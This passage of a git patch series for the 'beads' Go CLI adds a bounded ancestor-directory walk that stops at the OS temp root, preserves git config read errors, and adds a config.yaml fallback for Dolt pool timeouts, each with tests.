+ t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(tempBeadsDir, "metadata.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + project := filepath.Join(tempRoot, "isolated", "project") + if err := os.MkdirAll(project, 0o755); err != nil { + t.Fatal(err) + } + t.Chdir(project) + t.Setenv("TMPDIR", tempRoot) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_DB", "") + t.Setenv("BD_DB", "") + + originalDBPath := dbPath + dbPath = "" + t.Cleanup(func() { dbPath = originalDBPath }) + + selected := selectedNoDBBeadsDir(initCmd) + if selected != "" { + t.Fatalf("selectedNoDBBeadsDir(init) = %q, want no inherited temp-root store", selected) + } + prepareSelectedNoDBContext(selected) + + want := filepath.Join(project, ".beads") + if got := resolveInitBeadsDir(); !utils.PathsEqual(got, want) { + t.Fatalf("resolveInitBeadsDir() = %q, want requested project %q", got, want) + } +} + // Note: Error case testing is omitted because the init command calls os.Exit() // on errors, which makes it difficult to test in a unit test context. diff --git a/cmd/bd/where.go b/cmd/bd/where.go index afc7bff8b..1baf98a70 100644 --- a/cmd/bd/where.go +++ b/cmd/bd/where.go @@ -170,8 +170,9 @@ func findOriginalBeadsDir() string { } } - // Walk up directory tree looking for .beads with redirect - for dir := cwd; dir != "/" && dir != "."; { + // Walk up directory tree looking for .beads with redirect. + walk := beads.NewAncestorDirWalk(cwd, cwd) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { beadsDir := filepath.Join(dir, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { redirectFile := filepath.Join(beadsDir, beads.RedirectFileName) @@ -182,15 +183,6 @@ func findOriginalBeadsDir() string { return "" } - // Move up one directory - parent := filepath.Dir(dir) - if parent == dir { - // Reached filesystem root (works on both Unix and Windows) - // On Unix: filepath.Dir("/") returns "/" - // On Windows: filepath.Dir("C:\\") returns "C:\\" - break - } - dir = parent } return "" diff --git a/cmd/bd/where_test.go b/cmd/bd/where_test.go index 15e4540d5..0512ac0e8 100644 --- a/cmd/bd/where_test.go +++ b/cmd/bd/where_test.go @@ -484,3 +484,45 @@ func TestFindOriginalBeadsDir_BeadsDirEnvWithRedirectReturnsEnv(t *testing.T) { t.Errorf("findOriginalBeadsDir = %q, want a path ending in alt/.beads", got) } } + +func TestFindOriginalBeadsDirRespectsOSTempRootCeiling(t *testing.T) { + t.Run("child does not inherit redirect", func(t *testing.T) { + tempRoot := filepath.Join(t.TempDir(), "tmp") + rootBeads := filepath.Join(tempRoot, ".beads") + if err := os.MkdirAll(rootBeads, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(rootBeads, beads.RedirectFileName), []byte(filepath.Join(t.TempDir(), ".beads")), 0o644); err != nil { + t.Fatal(err) + } + child := filepath.Join(tempRoot, "fixture") + if err := os.MkdirAll(child, 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("TMPDIR", tempRoot) + t.Setenv("BEADS_DIR", "") + t.Chdir(child) + + if got := findOriginalBeadsDir(); got != "" { + t.Fatalf("findOriginalBeadsDir() = %q, want no temp-root ancestor", got) + } + }) + + t.Run("temp root start remains usable", func(t *testing.T) { + tempRoot := filepath.Join(t.TempDir(), "tmp") + rootBeads := filepath.Join(tempRoot, ".beads") + if err := os.MkdirAll(rootBeads, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(rootBeads, beads.RedirectFileName), []byte(filepath.Join(t.TempDir(), ".beads")), 0o644); err != nil { + t.Fatal(err) + } + t.Setenv("TMPDIR", tempRoot) + t.Setenv("BEADS_DIR", "") + t.Chdir(tempRoot) + + if got := findOriginalBeadsDir(); !utils.PathsEqual(got, rootBeads) { + t.Fatalf("findOriginalBeadsDir() = %q, want %q", got, rootBeads) + } + }) +} diff --git a/internal/beads/beads.go b/internal/beads/beads.go index 5087ae81e..5b16e9d7b 100644 --- a/internal/beads/beads.go +++ b/internal/beads/beads.go @@ -445,21 +445,13 @@ func findLocalBeadsDir() string { return "" } - for dir := cwd; dir != "/" && dir != "."; { + walk := NewAncestorDirWalk(cwd, cwd) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { beadsDir := filepath.Join(dir, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { return beadsDir } - // Move up one directory - parent := filepath.Dir(dir) - if parent == dir { - // Reached filesystem root (works on both Unix and Windows) - // On Unix: filepath.Dir("/") returns "/" - // On Windows: filepath.Dir("C:\\") returns "C:\\" - break - } - dir = parent } return "" @@ -630,7 +622,8 @@ func FindBeadsDirFrom(startDir string) string { } } - for dir := startDir; dir != "/" && dir != "."; { + walk := NewAncestorDirWalk(startDir, startDir) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { beadsDir := filepath.Join(dir, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { resolved := FollowRedirect(beadsDir) @@ -649,11 +642,6 @@ func FindBeadsDirFrom(startDir string) string { } } - parent := filepath.Dir(dir) - if parent == dir { - break - } - dir = parent } if fallbackBeadsDir != "" { @@ -709,6 +697,95 @@ func hasBeadsProjectFiles(beadsDir string) bool { return false } +// AncestorDirWalk yields canonical directories from startDir upward, up to and +// including the filesystem root. +// +// The OS temp root is an ancestor ceiling that *ends* the walk rather than +// skipping one directory: a walk that starts below the temp root stops there +// without yielding it, so the temp root's own ancestors are unreachable from +// below. That matters when TMPDIR points inside a project (TMPDIR=$REPO/tmp), +// where the project's own .beads sits above the ceiling and is not discovered +// from a path under $REPO/tmp. Terminating is the deliberate choice: resuming +// above the temp root would let a walk started below it adopt ambient state +// from the temp root's ancestors, which is the capture this ceiling exists to +// prevent. A caller whose actual discovery origin is the temp root may inspect +// that starting directory exactly once, which keeps a deliberately initialized +// /tmp workspace usable without letting ambient /tmp/.beads state capture +// projects below it. Both paths are canonicalized once so macOS +// /var -> /private/var aliases cannot bypass the ceiling. +// +// The filesystem root is yielded. The hand-rolled loops this type replaces were +// inconsistent about it — most stopped before "/" while findDatabaseInTree and +// FindAllDatabases inspected it — and the resolvers are easier to reason about +// when they agree on which ancestors exist. The ceiling is not extended to "/" +// because it guards against ambient state in a world-writable shared root, +// which the filesystem root is not. +type AncestorDirWalk struct { + next string + origin string + tempRoot string + done bool +} + +// NewAncestorDirWalk constructs an upward directory walk. originDir is the +// caller's actual discovery start even when startDir begins a later segment of +// a bounded walk. +func NewAncestorDirWalk(startDir, originDir string) *AncestorDirWalk { + return &AncestorDirWalk{ + next: canonicalizeAncestorWalkPath(startDir), + origin: canonicalizeAncestorWalkPath(originDir), + tempRoot: canonicalizeAncestorWalkPath(os.TempDir()), + } +} + +// canonicalizeAncestorWalkPath resolves the longest existing ancestor and +// reattaches any missing tail. Discovery often starts from a not-yet-created +// project path; a bare EvalSymlinks would leave /var unresolved while the +// existing temp root resolves to /private/var, defeating the ceiling. +func canonicalizeAncestorWalkPath(path string) string { + abs, err := filepath.Abs(path) + if err != nil { + return filepath.Clean(path) + } + cur := filepath.Clean(abs) + remainder := "" + for { + if resolved, err := filepath.EvalSymlinks(cur); err == nil { + resolved = utils.CanonicalizePath(resolved) + if remainder == "" { + return resolved + } + return filepath.Join(resolved, remainder) + } + parent := filepath.Dir(cur) + if parent == cur { + return filepath.Clean(abs) + } + remainder = filepath.Join(filepath.Base(cur), remainder) + cur = parent + } +} + +// Next returns the next directory permitted by the temp-root ceiling. +func (w *AncestorDirWalk) Next() (string, bool) { + if w == nil || w.done || w.next == "" || w.next == "." { + return "", false + } + dir := w.next + if w.tempRoot != "" && dir == w.tempRoot && dir != w.origin { + w.done = true + return "", false + } + + parent := filepath.Dir(dir) + if parent == dir || (w.tempRoot != "" && dir == w.tempRoot) { + w.done = true + } else { + w.next = parent + } + return dir, true +} + // hasBeadsDatabase is the strict counterpart to hasBeadsProjectFiles: it // returns true only when beadsDir contains an actual database — a dolt/ // directory, an embeddeddolt/ directory, or a non-backup *.db file. Mere @@ -819,7 +896,8 @@ func FindBeadsDir() string { if walkBoundary != "" { walkBoundaryCanonical = utils.CanonicalizePath(walkBoundary) } - for dir := cwdCanonical; dir != "/" && dir != "."; { + walk := NewAncestorDirWalk(cwdCanonical, cwdCanonical) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { // Stop at the walk boundary (exclusive — don't check this directory). // For worktrees: stops before worktree root so step 3 handles it. // For non-worktrees: stops before git root (which is checked below in the @@ -827,7 +905,6 @@ func FindBeadsDir() string { if walkBoundaryCanonical != "" && dir == walkBoundaryCanonical { break } - beadsDir := filepath.Join(dir, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { beadsDir = FollowRedirect(beadsDir) @@ -836,11 +913,6 @@ func FindBeadsDir() string { } } - parent := filepath.Dir(dir) - if parent == dir { - break - } - dir = parent } // 3. Worktree-specific fallback: redirect, own .beads, shared .beads. @@ -968,7 +1040,8 @@ func FindBeadsDir() string { extendedRootCanonical = utils.CanonicalizePath(extendedRoot) } - for dir := walkBoundaryCanonical; dir != "/" && dir != "."; { + extendedWalk := NewAncestorDirWalk(walkBoundaryCanonical, cwdCanonical) + for dir, ok := extendedWalk.Next(); ok; dir, ok = extendedWalk.Next() { beadsDir := filepath.Join(dir, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { beadsDir = FollowRedirect(beadsDir) @@ -982,11 +1055,6 @@ func FindBeadsDir() string { break } - parent := filepath.Dir(dir) - if parent == dir { - break - } - dir = parent } } @@ -1245,7 +1313,8 @@ func findDatabaseInTree() string { } // Walk up directory tree (regular repository or worktree fallback) - for { + walk := NewAncestorDirWalk(dir, dir) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { beadsDir := filepath.Join(dir, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { // Follow redirect if present @@ -1257,19 +1326,10 @@ func findDatabaseInTree() string { } } - // Move up one directory - parent := filepath.Dir(dir) - if parent == dir { - // Reached filesystem root - break - } - // Stop at git root to avoid finding unrelated databases if gitRootCanonical != "" && dir == gitRootCanonical { break } - - dir = parent } return "" @@ -1291,11 +1351,20 @@ func FindAllDatabases() []DatabaseInfo { return databases } - // Find git root to limit the search + // Find git root to limit the search. Canonicalize the boundary so the + // `dir == gitRoot` comparison below is robust against symlink or case-form + // mismatches, but only when there is a boundary: outside a git repository + // findGitRoot returns "" and CanonicalizePath("") resolves to the current + // working directory, which would fire the break on the walk's first + // iteration and stop discovery at the CWD. Mirrors findDatabaseInTree. gitRoot := findGitRoot() + if gitRoot != "" { + gitRoot = utils.CanonicalizePath(gitRoot) + } // Walk up directory tree - for { + walk := NewAncestorDirWalk(dir, dir) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { beadsDir := filepath.Join(dir, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { // Follow redirect if present @@ -1323,12 +1392,6 @@ func FindAllDatabases() []DatabaseInfo { // Skip if we've already seen this database (via symlink or other path) if seen[canonicalPath] { - // Move up one directory - parent := filepath.Dir(dir) - if parent == dir { - break - } - dir = parent continue } seen[canonicalPath] = true @@ -1344,19 +1407,10 @@ func FindAllDatabases() []DatabaseInfo { } } - // Move up one directory - parent := filepath.Dir(dir) - if parent == dir { - // Reached filesystem root - break - } - // Stop at git root to avoid finding unrelated databases if gitRoot != "" && dir == gitRoot { break } - - dir = parent } return databases diff --git a/internal/beads/beads_test.go b/internal/beads/beads_test.go index dd2958ebe..4597bc65d 100644 --- a/internal/beads/beads_test.go +++ b/internal/beads/beads_test.go @@ -6,6 +6,8 @@ import ( "os" "os/exec" "path/filepath" + "runtime" + "slices" "strings" "testing" @@ -386,6 +388,248 @@ func TestFindBeadsDirSkipsDaemonRegistry(t *testing.T) { } } +func TestFindBeadsDirFromSkipsOSTempRoot(t *testing.T) { + sandbox := t.TempDir() + tempRoot := filepath.Join(sandbox, "private", "tmp") + if err := os.MkdirAll(filepath.Join(tempRoot, ".beads"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(tempRoot, ".beads", "metadata.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + child := filepath.Join(tempRoot, "isolated", "project") + if err := os.MkdirAll(child, 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("TMPDIR", tempRoot) + + if got := FindBeadsDirFrom(child); got != "" { + t.Fatalf("FindBeadsDirFrom() = %q, want no discovery from OS temp root", got) + } +} + +func TestFindBeadsDirFromSkipsAliasedOSTempRoot(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("symlinked temp-root alias is a Unix path regression") + } + + sandbox := t.TempDir() + realTempRoot := filepath.Join(sandbox, "private", "var", "tmp") + aliasParent := filepath.Join(sandbox, "var") + if err := os.MkdirAll(realTempRoot, 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink(filepath.Join(sandbox, "private", "var"), aliasParent); err != nil { + t.Fatal(err) + } + aliasTempRoot := filepath.Join(aliasParent, "tmp") + if err := os.MkdirAll(filepath.Join(realTempRoot, ".beads"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(realTempRoot, ".beads", "metadata.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + child := filepath.Join(realTempRoot, "isolated", "project") + if err := os.MkdirAll(child, 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("TMPDIR", aliasTempRoot) + + if got := FindBeadsDirFrom(child); got != "" { + t.Fatalf("FindBeadsDirFrom() = %q, want aliased OS temp root ignored", got) + } +} + +func TestFindBeadsDirFromPreservesNestedProjectUnderOSTempRoot(t *testing.T) { + sandbox := t.TempDir() + tempRoot := filepath.Join(sandbox, "tmp") + project := filepath.Join(tempRoot, "project") + want := filepath.Join(project, ".beads") + if err := os.MkdirAll(want, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(want, "metadata.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + child := filepath.Join(project, "nested", "directory") + if err := os.MkdirAll(child, 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("TMPDIR", tempRoot) + + if got := FindBeadsDirFrom(child); !utils.PathsEqual(got, want) { + t.Fatalf("FindBeadsDirFrom() = %q, want nested project %q", got, want) + } +} + +func TestDiscoveryResolversDoNotAdoptOSTempRootAncestor(t *testing.T) { + tempRoot := filepath.Join(t.TempDir(), "tmp") + rootBeadsDir := filepath.Join(tempRoot, ".beads") + if err := os.MkdirAll(filepath.Join(rootBeadsDir, "dolt"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(rootBeadsDir, "metadata.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + child := filepath.Join(tempRoot, "fixture", "nested") + if err := os.MkdirAll(child, 0o755); err != nil { + t.Fatal(err) + } + t.Chdir(child) + t.Setenv("TMPDIR", tempRoot) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_DB", "") + t.Setenv("BD_DB", "") + + if got := FindDatabasePath(); got != "" { + t.Errorf("FindDatabasePath() = %q, want no temp-root ancestor", got) + } + if got := FindBeadsDir(); got != "" { + t.Errorf("FindBeadsDir() = %q, want no temp-root ancestor", got) + } + if got := findLocalBeadsDir(); got != "" { + t.Errorf("findLocalBeadsDir() = %q, want no temp-root ancestor", got) + } + if got := FindAllDatabases(); len(got) != 0 { + t.Errorf("FindAllDatabases() = %+v, want no temp-root ancestor", got) + } +} + +func TestDiscoveryResolversHonorStoreAtOSTempRootStart(t *testing.T) { + tempRoot := filepath.Join(t.TempDir(), "tmp") + rootBeadsDir := filepath.Join(tempRoot, ".beads") + if err := os.MkdirAll(filepath.Join(rootBeadsDir, "dolt"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(rootBeadsDir, "metadata.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + t.Chdir(tempRoot) + t.Setenv("TMPDIR", tempRoot) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_DB", "") + t.Setenv("BD_DB", "") + + if got := FindDatabasePath(); got == "" { + t.Error("FindDatabasePath() = empty, want temp-root start store") + } + if got := FindBeadsDir(); !utils.PathsEqual(got, rootBeadsDir) { + t.Errorf("FindBeadsDir() = %q, want %q", got, rootBeadsDir) + } + if got := findLocalBeadsDir(); !utils.PathsEqual(got, rootBeadsDir) { + t.Errorf("findLocalBeadsDir() = %q, want %q", got, rootBeadsDir) + } + if got := FindAllDatabases(); len(got) != 1 { + t.Errorf("FindAllDatabases() = %+v, want temp-root start store", got) + } +} + +// TestFindAllDatabasesFindsAncestorStoreOutsideGitRepo pins the empty-gitRoot +// arm. findGitRoot returns "" outside a git repository, and canonicalizing that +// sentinel resolves it to the current working directory, which makes the +// git-root break fire on the walk's first iteration and stops discovery at the +// CWD instead of walking upward. +func TestFindAllDatabasesFindsAncestorStoreOutsideGitRepo(t *testing.T) { + sandbox := t.TempDir() + workspace := filepath.Join(sandbox, "workspace") + wantBeadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(filepath.Join(wantBeadsDir, "dolt"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(wantBeadsDir, "metadata.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + child := filepath.Join(workspace, "project", "nested") + if err := os.MkdirAll(child, 0o755); err != nil { + t.Fatal(err) + } + t.Chdir(child) + // The git context is cached per process from wherever it was first + // resolved, so it has to be re-resolved from the sandbox for this test to + // exercise the non-git arm at all. + git.ResetCaches() + t.Cleanup(git.ResetCaches) + if root := findGitRoot(); root != "" { + t.Skipf("sandbox %q resolves inside git repo %q; cannot exercise the non-git arm", child, root) + } + // Keep the temp-root ceiling clear of this walk; it is not what this pins. + t.Setenv("TMPDIR", filepath.Join(sandbox, "tmp")) + + got := FindAllDatabases() + if len(got) != 1 { + t.Fatalf("FindAllDatabases() = %+v, want the ancestor store %q", got, wantBeadsDir) + } + if !utils.PathsEqual(got[0].BeadsDir, wantBeadsDir) { + t.Errorf("FindAllDatabases()[0].BeadsDir = %q, want %q", got[0].BeadsDir, wantBeadsDir) + } +} + +// TestAncestorDirWalkEndsAtOSTempRoot pins that the ceiling terminates the walk +// rather than skipping the temp root and resuming above it. +func TestAncestorDirWalkEndsAtOSTempRoot(t *testing.T) { + sandbox := t.TempDir() + tempRoot := filepath.Join(sandbox, "tmp") + project := filepath.Join(tempRoot, "project") + start := filepath.Join(project, "nested") + if err := os.MkdirAll(start, 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("TMPDIR", tempRoot) + + var got []string + walk := NewAncestorDirWalk(start, start) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { + got = append(got, dir) + } + + want := []string{ + canonicalizeAncestorWalkPath(start), + canonicalizeAncestorWalkPath(project), + } + if !slices.Equal(got, want) { + t.Fatalf("walk yielded %q, want %q — the temp-root ceiling must end the walk, not skip the temp root and continue above it", got, want) + } +} + +// TestAncestorDirWalkYieldsFilesystemRoot pins the documented choice that the +// walk includes the filesystem root. Most of the hand-rolled loops this type +// replaced stopped before "/"; the unified walk does not, so the behavior is +// deliberate and must not flip silently. +func TestAncestorDirWalkYieldsFilesystemRoot(t *testing.T) { + sandbox := t.TempDir() + start := filepath.Join(sandbox, "project", "nested") + if err := os.MkdirAll(start, 0o755); err != nil { + t.Fatal(err) + } + // Point the ceiling somewhere off this walk so it can reach the root. + t.Setenv("TMPDIR", filepath.Join(sandbox, "tmp")) + + fsRoot := canonicalizeAncestorWalkPath(start) + for { + parent := filepath.Dir(fsRoot) + if parent == fsRoot { + break + } + fsRoot = parent + } + + last := "" + // The walk must terminate at the root; bound the loop so a regression + // reports a failure instead of hanging until the package timeout. + const maxDepth = 256 + steps := 0 + walk := NewAncestorDirWalk(start, start) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { + last = dir + if steps++; steps > maxDepth { + t.Fatalf("walk did not terminate after %d directories, last %q", maxDepth, last) + } + } + if last != fsRoot { + t.Errorf("last yielded directory = %q, want the filesystem root %q", last, fsRoot) + } +} + // TestFindBeadsDirValidatesBeadsDirEnv verifies that BEADS_DIR env var // is validated for project files (bd-420) func TestFindBeadsDirValidatesBeadsDirEnv(t *testing.T) { From cf683435e725cf0a2fc619cafe173abbcde33fa1 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Sat, 26 Sep 2026 19:59:37 -0600 Subject: [PATCH 127/624] fix(git): preserve config read errors instead of treating them as absent (#6477) * fix(git): preserve config read errors instead of treating them as absent (saa-cgh.120.20) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(git): preserve config read errors instead of treating them as absent (saa-cgh.120.20) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(git): assert config failures without English diagnostics (saa-cgh.120.20) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell --- internal/storage/domain/git/git.go | 6 ++- internal/storage/domain/git/git_test.go | 57 +++++++++++++++++++++++++ 2 files changed, 62 insertions(+), 1 deletion(-) diff --git a/internal/storage/domain/git/git.go b/internal/storage/domain/git/git.go index d960d0cbf..1fdb6eb14 100644 --- a/internal/storage/domain/git/git.go +++ b/internal/storage/domain/git/git.go @@ -102,7 +102,11 @@ func (r *gitRepositoryImpl) GetConfig(ctx context.Context, key string) (string, if err != nil { var exitErr *exec.ExitError if errors.As(err, &exitErr) { - return "", false, nil + // Git also uses exit 1 for invalid keys, with a diagnostic. + if exitErr.ExitCode() == 1 && len(bytes.TrimSpace(exitErr.Stderr)) == 0 { + return "", false, nil + } + return "", false, fmt.Errorf("git: GetConfig %s: %w: %s", key, err, bytes.TrimSpace(exitErr.Stderr)) } return "", false, fmt.Errorf("git: GetConfig %s: %w", key, err) } diff --git a/internal/storage/domain/git/git_test.go b/internal/storage/domain/git/git_test.go index 25cd8625f..5cf4e3f4a 100644 --- a/internal/storage/domain/git/git_test.go +++ b/internal/storage/domain/git/git_test.go @@ -1,7 +1,9 @@ package git import ( + "context" "os" + "os/exec" "path/filepath" "strings" @@ -59,6 +61,61 @@ func (s *testSuite) TestConfig_RoundTrip() { s.Equal("maintainer", value) } +func (s *testSuite) TestConfig_ReadFailuresAreNotMissing() { + s.gitInit() + configPath := filepath.Join(s.tmpDir, ".git", "config") + original, err := os.ReadFile(configPath) + s.Require().NoError(err) + for _, tc := range []struct { + name, key string + exitCode int + }{ + {"malformed_config", "beads.role", 128}, + {"invalid_key", "invalid", 1}, + {"invalid_routing_boolean", "beads.role", 128}, + } { + s.Run(tc.name, func() { + switch tc.name { + case "malformed_config": + s.Require().NoError(os.WriteFile(configPath, []byte("[broken\n"), 0600)) + t := s.T() + t.Cleanup(func() { + if err := os.WriteFile(configPath, original, 0600); err != nil { + t.Errorf("restore repository config: %v", err) + } + }) + case "invalid_routing_boolean": + s.T().Setenv("GIT_CONFIG_NOSYSTEM", "not-a-boolean") + } + value, found, err := s.repo.GetConfig(s.Ctx(), tc.key) + s.Require().Error(err) + s.False(found) + s.Empty(value) + var exitErr *exec.ExitError + s.Require().ErrorAs(err, &exitErr) + s.Equal(tc.exitCode, exitErr.ExitCode()) + diagnostic := strings.TrimSpace(string(exitErr.Stderr)) + s.Require().NotEmpty(diagnostic) + s.Contains(err.Error(), diagnostic) + if tc.name != "invalid_key" { + _, _, roleErr := domain.NewGitUseCase(s.tmpDir, s.repo).BeadsRole(s.Ctx()) + s.Require().Error(roleErr) + s.ErrorAs(roleErr, &exitErr) + } + }) + } +} + +// Regression guard: pre-canceled contexts already propagated before the config fix. +func (s *testSuite) TestConfig_CancellationIsNotMissing() { + ctx, cancel := context.WithCancel(s.Ctx()) + cancel() + value, found, err := s.repo.GetConfig(ctx, "beads.role") + s.ErrorIs(err, context.Canceled) + s.False(found) + s.Empty(value) +} + func (s *testSuite) TestConfig_SetEmptyKeyErrors() { s.gitInit() err := s.repo.SetConfig(s.Ctx(), "", "x") From ab258606facceb8072c34054bdf8cdbc28582fef Mon Sep 17 00:00:00 2001 From: Cherub Kumar Date: Sat, 26 Sep 2026 19:02:20 -0700 Subject: [PATCH 128/624] fix(dolt): config.yaml pool-deadline rung reaches library consumers (#6475) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dolt): config.yaml pool-deadline rung reaches library consumers BEADS_DOLT_POOL_READ_TIMEOUT / dolt.pool-read-timeout's config.yaml rung resolves through config.GetString, which reads a package-global viper populated only by cmd/bd's config.Initialize(). A process linking beads as a library never initializes it, so the rung always returned "" and the project's configured pool deadlines were silently ignored — the process ran the 10s default whatever config.yaml said. On a loaded shared server an ordinary multi-dependent close already outlives 10s, and a deadline kill mid-close leaves a half-applied transition. When the global-viper read comes back empty, fall back to a direct read of /config.yaml via config.GetStringFromDir — the same fallback dolt.auto-start carries in this file for this exact hole, added in its comment's words as "a config.yaml fallback for library consumers that never call config.Initialize()". The pool-timeout keys were added later without it. Ladder unchanged otherwise: caller override > env > global viper (cmd/bd) > config.yaml direct read > 10s default. Test pins the three cases: file populates with no env and no global viper, env wins over file, and no file leaves the deadlines unset for buildServerDSN's default. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_018kXkQNGZt8wHm83FvRTASW * review: carry max-conns through the same config.yaml fallback; fold tests into the ladder Addresses all four review nits: (1) dolt.max-conns had the identical library-consumer hole in the same block — it now shares the hoisted poolCfg fallback (red-proved: reverting it fails the new subtest with MaxOpenConns = 0, want 25); (2) the no-global-viper premise is asserted so the dir-fallback subtest fails loudly instead of passing vacuously; (3) the hoisted comment carries the user-level-outranks-project clause for a non-CWD beadsDir, matching dolt.auto-start; (4) the subtests move into open_test.go's TestApplyResolvedConfig ladder and the separate file is gone. go build/vet clean; TestApplyResolvedConfig ok, also with -race. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01DZdGTuCEXtMi1ksowvjDVn --------- Co-authored-by: Cherub Kumar <5449665+ckumar1@users.noreply.github.com> Co-authored-by: Claude Fable 5 --- internal/storage/dolt/open.go | 22 +++++++-- internal/storage/dolt/open_test.go | 76 ++++++++++++++++++++++++++++++ 2 files changed, 95 insertions(+), 3 deletions(-) diff --git a/internal/storage/dolt/open.go b/internal/storage/dolt/open.go index 25e6c477c..29c596d8c 100644 --- a/internal/storage/dolt/open.go +++ b/internal/storage/dolt/open.go @@ -315,6 +315,22 @@ func applyResolvedConfig(ctx context.Context, beadsDir string, fileCfg *configfi cfg.ServerTLS = fileCfg.GetDoltServerTLS() } + // config.yaml rung shared by the pool knobs below. It needs both reads: + // config.GetString reads a package-global viper populated only by + // cmd/bd's config.Initialize(), so for a library consumer it always + // returns "" and the project's configured values were silently ignored. + // Fall back to a direct read of the project's config.yaml, the same + // fallback dolt.auto-start carries above for this exact hole. The + // fallback follows GetStringFromDir's ladder, so when beadsDir is not + // the process CWD a user-level ~/.config/bd/config.yaml value outranks + // that project's file — same behavior as dolt.auto-start. + poolCfg := func(key string) string { + if v := config.GetString(key); v != "" { + return v + } + return config.GetStringFromDir(beadsDir, key) + } + // Pool size: env var > config.yaml > caller override > default (10). // Useful for shared-server setups with many worktrees (GH#3140). if cfg.MaxOpenConns == 0 { @@ -325,7 +341,7 @@ func applyResolvedConfig(ctx context.Context, beadsDir string, fileCfg *configfi } } if cfg.MaxOpenConns == 0 { - if v := config.GetString("dolt.max-conns"); v != "" { + if v := poolCfg("dolt.max-conns"); v != "" { if n, err := strconv.Atoi(v); err == nil && n > 0 { cfg.MaxOpenConns = n } @@ -340,13 +356,13 @@ func applyResolvedConfig(ctx context.Context, beadsDir string, fileCfg *configfi cfg.PoolReadTimeout = timeoutFromEnv("BEADS_DOLT_POOL_READ_TIMEOUT", 0) } if cfg.PoolReadTimeout == 0 { - cfg.PoolReadTimeout = parseTimeout(config.GetString("dolt.pool-read-timeout"), 0) + cfg.PoolReadTimeout = parseTimeout(poolCfg("dolt.pool-read-timeout"), 0) } if cfg.PoolWriteTimeout == 0 { cfg.PoolWriteTimeout = timeoutFromEnv("BEADS_DOLT_POOL_WRITE_TIMEOUT", 0) } if cfg.PoolWriteTimeout == 0 { - cfg.PoolWriteTimeout = parseTimeout(config.GetString("dolt.pool-write-timeout"), 0) + cfg.PoolWriteTimeout = parseTimeout(poolCfg("dolt.pool-write-timeout"), 0) } return nil diff --git a/internal/storage/dolt/open_test.go b/internal/storage/dolt/open_test.go index c5faee75b..c3d86077d 100644 --- a/internal/storage/dolt/open_test.go +++ b/internal/storage/dolt/open_test.go @@ -10,6 +10,7 @@ import ( "testing" "time" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/doltserver" ) @@ -243,6 +244,81 @@ func TestCLIDirUsesDbPathOutsideSharedServerMode(t *testing.T) { } func TestApplyResolvedConfig(t *testing.T) { + // The config.yaml rung of the pool-knob ladders, for library consumers. + // The config.GetString rungs read a package-global viper populated only + // by cmd/bd's config.Initialize(), so for a process that links beads as + // a library they always return "" and the project's configured values + // were silently ignored. applyResolvedConfig falls back to a direct read + // of /config.yaml, the same pattern dolt.auto-start carries. + writeConfigYAML := func(t *testing.T, beadsDir, body string) { + t.Helper() + if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte(body), 0o644); err != nil { + t.Fatalf("writing config.yaml: %v", err) + } + } + ladderFileCfg := func() *configfile.Config { + return &configfile.Config{Backend: configfile.BackendDolt, DoltDatabase: "ladder"} + } + + t.Run("config.yaml populates pool knobs with no env and no global viper", func(t *testing.T) { + // The premise is load-bearing: if this package ever initializes the + // global viper, the dir-fallback rung under test is no longer the one + // answering and the subtest would pass vacuously. + if config.GetString("dolt.pool-read-timeout") != "" || 